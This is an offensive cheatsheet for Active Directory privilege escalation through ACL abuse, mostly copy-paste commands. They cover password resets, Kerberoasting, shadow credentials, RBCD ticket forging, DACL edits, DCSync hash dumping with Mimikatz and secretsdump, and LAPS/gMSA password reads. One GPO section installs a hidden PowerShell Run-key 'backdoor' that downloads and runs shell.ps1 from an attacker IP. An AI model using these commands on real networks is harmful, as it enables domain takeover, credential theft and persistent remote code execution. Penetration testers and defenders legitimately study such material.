ACL Abuse
A cheatsheet for targeting Active Directory environments by abusing ACL rights to achieve privilege escalation, lateral movement, and unauthorized access through permission manipulation.
Author: BobBuilder
ACL Rights Abuse Paths
ACL Right | Target Object | Abuse Path | Technique Section |
---|---|---|---|
GenericAll | User / Group | Reset password | ForceChangePassword |
GenericAll | User / Group | Add user to group | ModifyGroupMembership |
GenericAll | User | Write SPN attribute | Kerberoasting |
GenericAll | User / Computer | Write msDS-KeyCredentialLink |
ShadowCredentials |
GenericAll | User / Computer | Reset password | ForceChangePassword |
GenericAll | GPO | Modify GPO | ModifyGPO |
GenericWrite | User | Write SPN attribute | Kerberoasting |
GenericWrite | User / Computer | Write msDS-KeyCredentialLink |
ShadowCredentials |
GenericWrite | Computer | Write RBCD attribute | RBCD |
GenericWrite | Group | Modify member attribute |
ModifyGroupMembership |
GenericWrite | GPO | Modify GPO | ModifyGPO |
WriteOwner | Any AD Object | Take ownership and grant further permissions | WriteOwner |
WriteDACL | Any AD Object | Modify ACL to grant further rights | WriteDACL |
WriteProperty | User | Write SPN attribute | Kerberoasting |
WriteProperty | Computer | Write RBCD attribute | RBCD |
WriteProperty | User / Computer | Write msDS-KeyCredentialLink |
ShadowCredentials |
WriteProperty | Group | Modify member attribute |
ModifyGroupMembership |
WriteProperty | User | Set logon script | WriteLogonScript |
WriteProperty | GPO | Modify GPO | ModifyGPO |
AllExtendedRights | User | Reset password | ForceChangePassword |
AllExtendedRights | Domain Object | Perform DCSync | DCSync |
AllExtendedRights | Group | Add group member | ModifyGroupMembership |
AllExtendedRights | Computer | Read LAPS password | ReadLAPS |
ForceChangePassword | User / Computer | Reset password without current | ForceChangePassword |
Add Members | Group | Add user to group | ModifyGroupMembership |
AddSelf | Group | Add self to group | ModifyGroupMembership |
Self | Computer | Write RBCD attribute | RBCD |
ReadProperty | User / Computer | Read SPN | Kerberoasting |
ReadProperty | Computer | Read LAPS password | ReadLAPS |
WriteMembers | Group | Overwrite group membership | ModifyGroupMembership |
msds-AllowedToDelegateTo | User / Computer | Configure constrained delegation | Delegation |
WriteAccountRestrictions | Computer | Modify RBCD attribute | RBCD |
WriteGPLink | Organizational Unit (OU) | Link GPO to OU | WriteGPLink |
ResetPassword / ChangePassword
Allows resetting a user's password without knowing the current one (abusing AllExtendedRights
, GenericAll
, or ForceChangePassword
).
Windows
PowerShell (ActiveDirectory Module)
Set-ADAccountPassword -Identity "<target_user>" -NewPassword (ConvertTo-SecureString "<new_password>" -AsPlainText -Force) -Reset
net.exe
net user <target_user> <new_password> /domain
Linux
Prepare base64-encoded password
echo -n '"<new_password>"' | iconv -f UTF-8 -t UTF-16LE | base64
ldapmodify (LDAPS required)
ldapmodify -H ldaps://<dc_host> -D "<domain>\\<username>" -w "<password>" <<EOF
dn: CN=<target_user>,OU=Users,DC=example,DC=local
changetype: modify
replace: unicodePwd
unicodePwd:: <base64_encoded_password>
EOF
ForceChangePassword
Allows changing a user's password without knowing the old one (abusing ForceChangePassword
, GenericAll
, or AllExtendedRights
).
Windows
PowerView
Set-DomainUserPassword -Identity <target_user> -AccountPassword (ConvertTo-SecureString "<new_password>" -AsPlainText -Force)
Rubeus (with Pass-the-Ticket)
rubeus ptt /ticket:<ticket.kirbi>
rubeus changepw /target:<target_user> /new:<new_password>
Linux
Net RPC
net rpc password <target_user> <new_password> -U "<domain>/<controlled_user>%<password>" -S <dc_ip>
Impacket
impacket-changepasswd '<domain>/<controlled_user>:<password>@<dc_ip>' -newpass <new_password> -dc-ip <dc_ip>
smbpasswd (interactive)
smbpasswd -r <dc_ip> -U '<domain>\<controlled_user>'
PowerView.py
python3 powerview.py <domain>/<controlled_user>:<password>@<dc_ip> -q 'Set-DomainUserPassword -Identity <target_user> -AccountPassword <new_password>'
BloodyAD
python3 bloodyAD.py -d <domain> -u <controlled_user> -p '<password>' --host <dc_ip> set password '<target_user>' '<new_password>'
ModifyGroupMembership
Windows
Add-DomainGroupMember -Identity <group> -Members <user>
Linux
net rpc group addmem "<group>" "<user>" -U "<domain>/<username>%<password>" -S <dc_ip>
Kerberoasting
Windows
Set-DomainObject -Identity <user> -Set @{servicePrincipalName='<spn>'}
Get-DomainSPNTicket -UserName <user>
Linux
targetedKerberoast.py -d <domain> -u <user> -p <pass> --request-user <target_user> --dc-ip <dc_ip>
If Kerberos errors - Clock Skew Fix
sudo ntpdate <dc_ip>
Cracking
hashcat -m 13100 <hashfile> <wordlist>
ShadowCredentials
Allows writing to the msDS-KeyCredentialLink
attribute, letting an attacker register a shadow (certificate-based) authentication identity on the target user/computer, enabling PKINIT or LDAPS logon without needing the actual password.
Windows
Inject the certificate blob into the target user
Set-DomainObject -Identity <target_user> -Set @{ 'msDS-KeyCredentialLink' = '<base64blob>' }
Use Rubeus to authenticate with a .pfx
certificate
Rubeus.exe asktgt /user:<target_user> /pfx:<target>.pfx /domain:<domain> /dc:<dc_ip> /ptt
Linux
Forge and inject a shadow credential using pywhisker
pywhisker.py -u <user> -p <password> -d <domain> --target <target_user> --action add -e PEM
Forge and inject a shadow credential using Certipy
certipy shadow auto -u <user>@<domain> -p <password> -account <target_user> -dc-ip <dc_ip>
Authenticate to the domain with the generated .pfx
certipy auth -pfx <target>.pfx -dc-ip <dc_ip> -ldap-shell
WriteAccountRestrictions
Allows modifying the msDS-AllowedToActOnBehalfOfOtherIdentity
field, enabling Resource-Based Constrained Delegation (RBCD) by specifying which computer can impersonate users to the target system.
Windows
Create a new machine account
New-MachineAccount -MachineAccount <new_computer> -Password (ConvertTo-SecureString '<password>' -AsPlainText -Force)
Retrieve the SID of the new machine account
$SID = Get-DomainComputer <new_computer> -Properties objectsid | Select -Expand objectsid
Construct a security descriptor that allows delegation
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$SID)"
$Bytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($Bytes, 0)
Apply the DACL to the target computer
Set-DomainObject -Identity <target_computer> -Set @{"msds-allowedtoactonbehalfofotheridentity"=$Bytes}
Request a TGS via S4U2Proxy
Rubeus.exe s4u /user:<new_computer>$ /rc4:<ntlm> /impersonateuser:<admin> /msdsspn:cifs/<target_computer> /ptt
Linux
Create attacker-controlled computer account
addcomputer.py -method LDAPS -computer-name <new_computer>$ -computer-pass <password> -dc-host <dc_ip> -domain-netbios <domain> <domain>/<user>:<password>
Delegate to target computer via RBCD
rbcd.py -delegate-from <new_computer>$ -delegate-to <target_computer>$ -action write <domain>/<user>:<password> -dc-ip <dc_ip>
Request a service ticket impersonating a privileged user
getST.py -spn cifs/<target_computer> -impersonate <admin> <domain>/<new_computer>$:<password>
Use the ticket with pass-the-ticket
export KRB5CCNAME=<ticket_path>
impacket-secretsdump -k <target_computer>
ModifyGPO
Allows modification of a Group Policy Object (GPO), which can be used to deploy malicious configurations or scripts to all users and systems affected by the GPO.
Windows
Modify the GPO file path to point to a malicious policy
Set-DomainObject -Identity <GPO> -Set @{gPCFileSysPath='\\<attacker_host>\share\malicious.pol'}
Link the modified GPO to a target OU
Set-DomainObject -Identity <GPO> -Set @{gPLink='CN=<OU>,CN=Policies,CN=System,DC=<domain>,DC=local'}
Find the DN of a GPO if unknown
Get-DomainObject -SearchBase 'CN=Policies,CN=System,DC=<domain>,DC=local' -LDAPFilter '(displayName=<GPO_name>)'
Linux
Create LDIF to modify the GPO
dn: CN=<GPO_name>,CN=Policies,CN=System,DC=<domain>,DC=local
changetype: modify
replace: gPCFileSysPath
gPCFileSysPath: \\<attacker_host>\share\malicious.pol
Apply the LDIF using ldapmodify
ldapmodify -x -D "<domain>\\<username>" -w <password> -H ldap://<dc_ip> -f gpo.ldif
WriteOwner
Grants the ability to change ownership of an object. Once owner, an attacker can assign themselves other rights (e.g., WriteDACL) and escalate privileges further.
Windows
Take ownership using PowerView
Set-DomainObjectOwner -Identity "CN=<target>,OU=Users,DC=<domain>,DC=local" -OwnerIdentity "<attacker_user>"
Add permissions to self (e.g., DCSync, GenericAll)
Add-DomainObjectAcl -TargetIdentity "CN=<target>,OU=Users,DC=<domain>,DC=local" -PrincipalIdentity "<attacker_user>" -Rights DCSync
Linux
Add DACL entry using dacledit
dacledit.py -action write -rights DCSync -principal <username> -target-dn <target_dn> <domain>/<username>:<password>
Add group member using bloodyAD
bloodyAD.py -d <domain> -u <username> -p <password> --host <dc_ip> add groupMember <target_group> <username>
WriteDACL
Allows editing an object's DACL (permissions), letting you grant rights like GenericAll
, WriteProperty
, or DCSync
to yourself or others.
Groups
Add yourself to a group such as Domain Admins.
Windows – Grant GenericAll
to yourself
Add-DomainObjectAcl -TargetIdentity "<group_name>" -Rights GenericAll
Linux – Grant WriteMembers
to your user
dacledit.py '<domain>/<user>:<password>' --action write --rights WriteMembers --principal <controlled_user>
Users
Gain full control over a user object (reset password, add shadow credentials).
Windows – Grant All
rights
Add-DomainObjectAcl -TargetIdentity "<target_user>" -Rights All
Linux – Grant GenericAll
to your user
dacledit.py '<domain>/<user>:<password>' --action write --rights GenericAll --principal <controlled_user>
Computers
Enable RBCD or Shadow Credentials by gaining control.
Windows – Grant All
rights
Add-DomainObjectAcl -TargetIdentity "<computer_name>" -Rights All
Linux – Grant RBCD write access
dacledit.py '<domain>/<user>:<password>' --action write --rights WriteProperty:msDS-AllowedToActOnBehalfOfOtherIdentity --principal <controlled_user>
Domain (DC Object)
Perform a DCSync attack by granting replication rights.
Windows – Grant DCSync
Add-DomainObjectAcl -TargetIdentity "<domain_name>" -Rights DCSync
Linux – Grant replication rights
dacledit.py '<domain>/<user>:<password>' --action write --rights "Replicating Directory Changes" --principal <controlled_user>
dacledit.py '<domain>/<user>:<password>' --action write --rights "Replicating Directory Changes All" --principal <controlled_user>
GPOs
Modify a GPO to deploy malicious policy to linked systems.
Windows – Grant full control
Add-DomainObjectAcl -TargetIdentity "<gpo_name>" -Rights All
Linux – Grant GenericAll
on GPO object
dacledit.py '<domain>/<user>:<password>' --action write --rights GenericAll --principal <controlled_user> --object-name "CN=<GPO_GUID>,CN=Policies,CN=System,DC=<domain>,DC=local"
OUs
Insert inheritable ACEs to compromise all child objects.
Windows – Grant All
to yourself
Add-DomainObjectAcl -TargetIdentity "OU=<ou_name>,DC=<domain>,DC=local" -Rights All
Linux – Grant GenericAll
on OU
dacledit.py '<domain>/<user>:<password>' --action write --rights GenericAll --principal <controlled_user> --object-name "OU=<ou_name>,DC=<domain>,DC=local"
Add Machine Account
Allows adding a new computer object to the domain. Useful for RBCD attacks or to impersonate a machine account.
Windows
Using PowerMad
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount "<new_computer>" -Password (ConvertTo-SecureString "<password>" -AsPlainText -Force)
Linux
Using Impacket
addcomputer.py -computer-name <new_computer>$ -computer-pass <password> -dc-ip <dc_ip> -domain <domain> -u <user> -p <password>
DCSync
Allows an attacker to impersonate a Domain Controller and request password hashes via directory replication.
Windows
Dump all hashes using Mimikatz (binary)
.\mimikatz.exe
privilege::debug
lsadump::dcsync /domain:<domain> /user:<user>
Dump specific user with PowerShell
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:<domain> /user:<user>"'
(Optional) Grant DCSync rights to an account
Add-ObjectAcl -TargetDistinguishedName "dc=<domain>,dc=local" -PrincipalSamAccountName <user> -Rights DCSync
Linux
Dump all hashes
secretsdump.py -just-dc <domain>/<user>@<dc_ip>
ReadLAPSPassword
Allows reading the LAPS-managed local Administrator password of a computer via the ms-mcs-admpwd
attribute.
Windows
PowerShell AD module
Get-ADComputer -Filter * -Properties ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
PowerView
Get-DomainComputer "<target>" -Properties ms-mcs-admpwd
Linux
pyLAPS
pyLAPS.py --action get -d <domain> -u <user> -p <pass> --dc-ip <dc_ip>
bloodyAD
bloodyAD --host <dc_ip> -d <domain> -u <user> -p <pass> get object <target> --attr ms-mcs-admpwd
NetExec
nxc ldap <dc_ip> -u <user> -p <pass> --module laps
ReadGMSAPassword
Allows reading Group Managed Service Account passwords via msDS-ManagedPassword
.
Windows
PowerShell AD module
Get-ADServiceAccount -Identity <gmsa_name> -Properties msDS-ManagedPassword
Linux
gMSADumper
gMSADumper.py -u <user> -p <pass> -d <domain>
bloodyAD
bloodyAD --host <dc_ip> -d <domain> -u <user> -p <pass> get object <target> --attr msDS-ManagedPassword
NetExec
nxc ldap <dc_ip> -u <user> -p <pass> --gmsa
WriteGPLink
Grants the ability to link any GPO to an OU where the attacker has WriteGPLink
, even if they don’t control the OU or GPO itself. Used to deploy malicious GPOs for code execution or persistence.
Windows
Create a new GPO
New-GPO -Name "<gpo_name>"
Link the GPO to the target OU
New-GPLink -Name "<gpo_name>" -Target "OU=<ou>,DC=<domain>,DC=local"
Add payload to the GPO (registry persistence)
Set-GPRegistryValue -Name "<gpo_name>" `
-Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" `
-ValueName "backdoor" -Type String `
-Value "powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://<attacker_ip>/shell.ps1')"
Force GPO update on target system
gpupdate /force
Abuse with SharpGPOAbuse (add local admin)
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount "<user>" --GPOName "<gpo_name>"
Linux
Prepare LDIF to link GPO to an OU
dn: OU=<ou>,DC=<domain>,DC=local
changetype: modify
add: gPLink
gPLink: [LDAP://CN={<gpo_guid>},CN=Policies,CN=System,DC=<domain>,DC=local;0]
Apply LDIF with ldapmodify
ldapmodify -x -D "<domain>\\<user>" -w <password> -H ldap://<dc_ip> -f link.ldif
Ressources
https://www.thehacker.recipes/ad/movement/dacl/